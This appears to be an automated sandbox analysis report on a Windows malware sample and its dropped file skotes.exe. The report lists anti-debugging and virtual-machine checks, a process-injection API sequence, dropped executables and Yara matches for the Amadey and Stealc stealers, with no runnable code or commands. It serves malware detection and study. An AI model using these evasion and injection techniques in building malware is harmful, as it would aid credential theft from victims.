Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Thread delayed: delay time: 180000

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 7801
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 2015

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\1000023001\532d9160c6.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\random[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Dropped PE file which has not been started: C:\Users\user\1000026002\0f2a0c16ee.exe	Jump to dropped file

Source: C:\Users\user\Desktop\yjzllYsjlU.exe	API coverage: 2.9 %
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	API coverage: 2.0 %
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	API coverage: 7.6 %

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 1908	Thread sleep count: 7801 > 30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 1908	Thread sleep time: -234030000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 6712	Thread sleep time: -180000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 1908	Thread sleep count: 2015 > 30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 1908	Thread sleep time: -60450000s >= -30000s

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Last function: Thread delayed

Source: C:\Users\user\Desktop\yjzllYsjlU.exe

File Volume queried: C:\ FullSizeInformation

Jump to behavior

Source: C:\Users\user\Desktop\yjzllYsjlU.exe	Code function: 0_2_0043DC0D FindFirstFileExW,	0_2_0043DC0D
Source: C:\Users\user\Desktop\yjzllYsjlU.exe	Code function: 0_2_021BDE74 FindFirstFileExW,	0_2_021BDE74
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 21_2_021ADE74 FindFirstFileExW,	21_2_021ADE74
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 28_2_0043DC0D FindFirstFileExW,	28_2_0043DC0D
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 28_2_0065DE74 FindFirstFileExW,	28_2_0065DE74

Source: C:\Users\user\Desktop\yjzllYsjlU.exe

Code function: 0_2_00407D30 GetVersionExW,GetModuleHandleA,GetProcAddress,GetNativeSystemInfo,GetSystemInfo,

0_2_00407D30

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 30000
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 180000
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 30000

Source: C:\Windows\SysWOW64\WerFault.exe	File opened: C:\ProgramData\Microsoft\Windows\WER\ReportQueue\
Source: C:\Windows\SysWOW64\WerFault.exe	File opened: C:\ProgramData\Microsoft\Windows\
Source: C:\Windows\SysWOW64\WerFault.exe	File opened: C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_skotes.exe_b230dc6fc163fdde8365dc55937a5169439a2_360c380b_6dcdc8c6-df7e-46a7-9ca7-325d7431e179\
Source: C:\Windows\SysWOW64\WerFault.exe	File opened: C:\ProgramData\Microsoft\Windows\WER\
Source: C:\Windows\SysWOW64\WerFault.exe	File opened: C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_yjzllYsjlU.exe_4363f676aae74bac2ea5a449ac7ab892edc3967c_8cd1c366_09477d72-c3db-4fb9-94d5-24870ab915c0\
Source: C:\Windows\SysWOW64\WerFault.exe	File opened: C:\ProgramData\Microsoft\Windows\WER\ReportQueue

Source: Amcache.hve.4.dr	Binary or memory string: VMware
Source: Amcache.hve.4.dr	Binary or memory string: VMware Virtual USB Mouse
Source: Amcache.hve.4.dr	Binary or memory string: vmci.syshbin
Source: Amcache.hve.4.dr	Binary or memory string: VMware, Inc.
Source: Amcache.hve.4.dr	Binary or memory string: VMware20,1hbin@
Source: Amcache.hve.4.dr	Binary or memory string: c:\windows\system32\driverstore\filerepository\vmci.inf_amd64_68ed49469341f563
Source: Amcache.hve.4.dr	Binary or memory string: Ascsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: Amcache.hve.4.dr	Binary or memory string: .Z$c:/windows/system32/drivers/vmci.sys
Source: skotes.exe, 0000001C.00000002.4669012464.000000000075E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW#PWB
Source: Amcache.hve.4.dr	Binary or memory string: VMware-42 27 80 4d 99 30 0e 9c-c1 9b 2a 23 ea 1f c4 20
Source: skotes.exe, 0000001C.00000002.4669012464.0000000000709000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 0000001C.00000002.4669012464.000000000075E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: Amcache.hve.4.dr	Binary or memory string: :scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: Amcache.hve.4.dr	Binary or memory string: pci\ven_15ad&dev_0740&subsys_074015ad,pci\ven_15ad&dev_0740,root\vmwvmcihostdev
Source: Amcache.hve.4.dr	Binary or memory string: c:/windows/system32/drivers/vmci.sys
Source: Amcache.hve.4.dr	Binary or memory string: scsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: Amcache.hve.4.dr	Binary or memory string: vmci.sys
Source: Amcache.hve.4.dr	Binary or memory string: vmci.syshbin`
Source: Amcache.hve.4.dr	Binary or memory string: \driver\vmci,\driver\pci
Source: Amcache.hve.4.dr	Binary or memory string: scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: Amcache.hve.4.dr	Binary or memory string: VMware20,1
Source: Amcache.hve.4.dr	Binary or memory string: Microsoft Hyper-V Generation Counter
Source: Amcache.hve.4.dr	Binary or memory string: NECVMWar VMware SATA CD00
Source: Amcache.hve.4.dr	Binary or memory string: VMware Virtual disk SCSI Disk Device
Source: Amcache.hve.4.dr	Binary or memory string: scsi\cdromnecvmwarvmware_sata_cd001.00,scsi\cdromnecvmwarvmware_sata_cd00,scsi\cdromnecvmwar,scsi\necvmwarvmware_sata_cd001,necvmwarvmware_sata_cd001,gencdrom
Source: Amcache.hve.4.dr	Binary or memory string: scsi\diskvmware__virtual_disk____2.0_,scsi\diskvmware__virtual_disk____,scsi\diskvmware__,scsi\vmware__virtual_disk____2,vmware__virtual_disk____2,gendisk
Source: Amcache.hve.4.dr	Binary or memory string: Microsoft Hyper-V Virtualization Infrastructure Driver
Source: Amcache.hve.4.dr	Binary or memory string: VMware PCI VMCI Bus Device
Source: Amcache.hve.4.dr	Binary or memory string: VMware VMCI Bus Device
Source: Amcache.hve.4.dr	Binary or memory string: VMware Virtual RAM
Source: Amcache.hve.4.dr	Binary or memory string: BiosVendor:VMware, Inc.,BiosVersion:VMW201.00V.20829224.B64.2211211842,BiosReleaseDate:11/21/2022,BiosMajorRelease:0xff,BiosMinorRelease:0xff,SystemManufacturer:VMware, Inc.,SystemProduct:VMware20,1,SystemFamily:,SystemSKUNumber:,BaseboardManufacturer:,BaseboardProduct:,BaseboardVersion:,EnclosureType:0x1
Source: Amcache.hve.4.dr	Binary or memory string: vmci.inf_amd64_68ed49469341f563

Source: C:\Users\user\Desktop\yjzllYsjlU.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\yjzllYsjlU.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort

Source: C:\Users\user\Desktop\yjzllYsjlU.exe

Code function: 0_2_00436AAE IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

0_2_00436AAE

Source: C:\Users\user\Desktop\yjzllYsjlU.exe

Code function: 0_2_0042BF99 LoadLibraryExW,GetLastError,LoadLibraryW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

0_2_0042BF99

Source: C:\Users\user\Desktop\yjzllYsjlU.exe	Code function: 0_2_0043A302 mov eax, dword ptr fs:[00000030h]	0_2_0043A302
Source: C:\Users\user\Desktop\yjzllYsjlU.exe	Code function: 0_2_0043652B mov eax, dword ptr fs:[00000030h]	0_2_0043652B
Source: C:\Users\user\Desktop\yjzllYsjlU.exe	Code function: 0_2_0052CC33 push dword ptr fs:[00000030h]	0_2_0052CC33
Source: C:\Users\user\Desktop\yjzllYsjlU.exe	Code function: 0_2_021B6792 mov eax, dword ptr fs:[00000030h]	0_2_021B6792
Source: C:\Users\user\Desktop\yjzllYsjlU.exe	Code function: 0_2_021BA569 mov eax, dword ptr fs:[00000030h]	0_2_021BA569
Source: C:\Users\user\Desktop\yjzllYsjlU.exe	Code function: 0_2_0218092B mov eax, dword ptr fs:[00000030h]	0_2_0218092B
Source: C:\Users\user\Desktop\yjzllYsjlU.exe	Code function: 0_2_02180D90 mov eax, dword ptr fs:[00000030h]	0_2_02180D90
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 21_2_006EDA7B push dword ptr fs:[00000030h]	21_2_006EDA7B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 21_2_021A6792 mov eax, dword ptr fs:[00000030h]	21_2_021A6792
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 21_2_021AA569 mov eax, dword ptr fs:[00000030h]	21_2_021AA569
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 21_2_0217092B mov eax, dword ptr fs:[00000030h]	21_2_0217092B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 21_2_02170D90 mov eax, dword ptr fs:[00000030h]	21_2_02170D90
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 28_2_0043A302 mov eax, dword ptr fs:[00000030h]	28_2_0043A302
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 28_2_0043652B mov eax, dword ptr fs:[00000030h]	28_2_0043652B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 28_2_0065A569 mov eax, dword ptr fs:[00000030h]	28_2_0065A569
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 28_2_00656792 mov eax, dword ptr fs:[00000030h]	28_2_00656792
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 28_2_0062092B mov eax, dword ptr fs:[00000030h]	28_2_0062092B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 28_2_00620D90 mov eax, dword ptr fs:[00000030h]	28_2_00620D90
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 28_2_006D07D3 push dword ptr fs:[00000030h]	28_2_006D07D3

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Code function: 28_2_0043EE63 GetProcessHeap,

28_2_0043EE63

Source: C:\Users\user\Desktop\yjzllYsjlU.exe	Code function: 0_2_0041D1E7 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_0041D1E7
Source: C:\Users\user\Desktop\yjzllYsjlU.exe	Code function: 0_2_00436AAE IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_00436AAE
Source: C:\Users\user\Desktop\yjzllYsjlU.exe	Code function: 0_2_0041DBA5 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_0041DBA5
Source: C:\Users\user\Desktop\yjzllYsjlU.exe	Code function: 0_2_0041DD0A SetUnhandledExceptionFilter,	0_2_0041DD0A
Source: C:\Users\user\Desktop\yjzllYsjlU.exe	Code function: 0_2_0219D44E SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_0219D44E
Source: C:\Users\user\Desktop\yjzllYsjlU.exe	Code function: 0_2_0219DE0C IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_0219DE0C
Source: C:\Users\user\Desktop\yjzllYsjlU.exe	Code function: 0_2_021B6D15 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_021B6D15
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 21_2_0218D44E SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	21_2_0218D44E
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 21_2_0218DE0C IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	21_2_0218DE0C
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 21_2_021A6D15 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	21_2_021A6D15
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 28_2_00436AAE IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	28_2_00436AAE
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 28_2_0041D1E7 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	28_2_0041D1E7
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 28_2_0041DBA5 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	28_2_0041DBA5
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 28_2_0041DD0A SetUnhandledExceptionFilter,	28_2_0041DD0A
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 28_2_00656D15 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	28_2_00656D15
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 28_2_0063D44E SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	28_2_0063D44E
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 28_2_0063DE0C IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	28_2_0063DE0C

HIPS / PFW / Operating System Protection Evasion

Contains functionality to inject code into remote processes

Source: C:\Users\user\Desktop\yjzllYsjlU.exe

Code function: 0_2_004070A0 GetModuleFileNameA,CreateProcessA,VirtualAlloc,GetThreadContext,ReadProcessMemory,VirtualAllocEx,WriteProcessMemory,WriteProcessMemory,SetThreadContext,ResumeThread,VirtualFree,

0_2_004070A0

Source: C:\Users\user\Desktop\yjzllYsjlU.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: unknown unknown

Source: C:\Users\user\Desktop\yjzllYsjlU.exe

Code function: 0_2_0041DD91 cpuid

0_2_0041DD91

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1000023001\532d9160c6.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1000023001\532d9160c6.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\1000026002\0f2a0c16ee.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\1000026002\0f2a0c16ee.exe VolumeInformation

Source: C:\Users\user\Desktop\yjzllYsjlU.exe

0_2_0040AA09

Source: C:\Users\user\Desktop\yjzllYsjlU.exe

Code function: 0_2_0040B1A0 GetUserNameA,

0_2_0040B1A0

Source: C:\Users\user\Desktop\yjzllYsjlU.exe

Code function: 0_2_00442517 _free,_free,_free,GetTimeZoneInformation,_free,

0_2_00442517

Source: C:\Users\user\Desktop\yjzllYsjlU.exe

Code function: 0_2_00407D30 GetVersionExW,GetModuleHandleA,GetProcAddress,GetNativeSystemInfo,GetSystemInfo,

0_2_00407D30

Source: Amcache.hve.4.dr	Binary or memory string: c:\programdata\microsoft\windows defender\platform\4.18.23080.2006-0\msmpeng.exe
Source: Amcache.hve.4.dr	Binary or memory string: msmpeng.exe
Source: Amcache.hve.4.dr	Binary or memory string: c:\program files\windows defender\msmpeng.exe
Source: Amcache.hve.4.dr	Binary or memory string: c:\programdata\microsoft\windows defender\platform\4.18.23090.2008-0\msmpeng.exe
Source: Amcache.hve.4.dr	Binary or memory string: MsMpEng.exe

Stealing of Sensitive Information

Yara detected Amadeys stealer DLL

Source: Yara match	File source: 28.2.skotes.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 21.2.skotes.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.yjzllYsjlU.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 21.2.skotes.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 21.3.skotes.exe.21e0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 21.2.skotes.exe.2170e67.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.yjzllYsjlU.exe.2180e67.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 28.2.skotes.exe.620e67.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 21.3.skotes.exe.21e0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 28.2.skotes.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.yjzllYsjlU.exe.2180e67.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 21.2.skotes.exe.2170e67.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.yjzllYsjlU.exe.21f0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 28.2.skotes.exe.620e67.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 28.3.skotes.exe.2160000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.yjzllYsjlU.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.yjzllYsjlU.exe.21f0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 28.3.skotes.exe.2160000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.2353139428.0000000000400000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000015.00000002.2334219685.0000000000400000.00000040.00000001.01000000.00000008.sdmp, type: MEMORY
Source: Yara match	File source: 00000015.00000002.2334568355.0000000002170000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2213576704.00000000021F0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000015.00000003.2309432700.00000000021E0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001C.00000002.4668844085.0000000000620000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001C.00000003.2486405419.0000000002160000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2354099714.0000000002180000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001C.00000002.4668594111.0000000000400000.00000040.00000001.01000000.00000008.sdmp, type: MEMORY

Yara detected Stealc

Source: Yara match

File source: dump.pcap, type: PCAP

Remote Access Functionality

Yara detected Stealc

Source: Yara match

File source: dump.pcap, type: PCAP

Source: C:\Users\user\Desktop\yjzllYsjlU.exe	Code function: 0_2_0042EC48 Concurrency::details::ContextBase::TraceContextEvent,Concurrency::details::SchedulerBase::GetInternalContext,Concurrency::details::WorkItem::ResolveToken,Concurrency::details::WorkItem::BindTo,Concurrency::details::SchedulerBase::ReleaseInternalContext,Concurrency::details::SchedulerBase::ReleaseInternalContext,	0_2_0042EC48
Source: C:\Users\user\Desktop\yjzllYsjlU.exe	Code function: 0_2_0042DF51 Concurrency::details::SchedulerBase::GetInternalContext,Concurrency::details::WorkItem::ResolveToken,Concurrency::details::WorkItem::BindTo,Concurrency::details::SchedulerBase::ReleaseInternalContext,Concurrency::details::SchedulerBase::GetInternalContext,	0_2_0042DF51
Source: C:\Users\user\Desktop\yjzllYsjlU.exe	Code function: 0_2_021AE1B8 Concurrency::details::SchedulerBase::GetInternalContext,Concurrency::details::WorkItem::ResolveToken,Concurrency::details::WorkItem::BindTo,Concurrency::details::SchedulerBase::ReleaseInternalContext,Concurrency::details::SchedulerBase::GetInternalContext,	0_2_021AE1B8
Source: C:\Users\user\Desktop\yjzllYsjlU.exe	Code function: 0_2_021AEEAF Concurrency::details::ContextBase::TraceContextEvent,Concurrency::details::SchedulerBase::GetInternalContext,Concurrency::details::WorkItem::ResolveToken,Concurrency::details::WorkItem::BindTo,Concurrency::details::SchedulerBase::ReleaseInternalContext,Concurrency::details::SchedulerBase::ReleaseInternalContext,	0_2_021AEEAF
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 21_2_0219E1B8 Concurrency::details::SchedulerBase::GetInternalContext,Concurrency::details::WorkItem::ResolveToken,Concurrency::details::WorkItem::BindTo,Concurrency::details::SchedulerBase::ReleaseInternalContext,Concurrency::details::SchedulerBase::GetInternalContext,	21_2_0219E1B8
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 21_2_0219EEAF Concurrency::details::ContextBase::TraceContextEvent,Concurrency::details::SchedulerBase::GetInternalContext,Concurrency::details::WorkItem::ResolveToken,Concurrency::details::WorkItem::BindTo,Concurrency::details::SchedulerBase::ReleaseInternalContext,Concurrency::details::SchedulerBase::ReleaseInternalContext,	21_2_0219EEAF
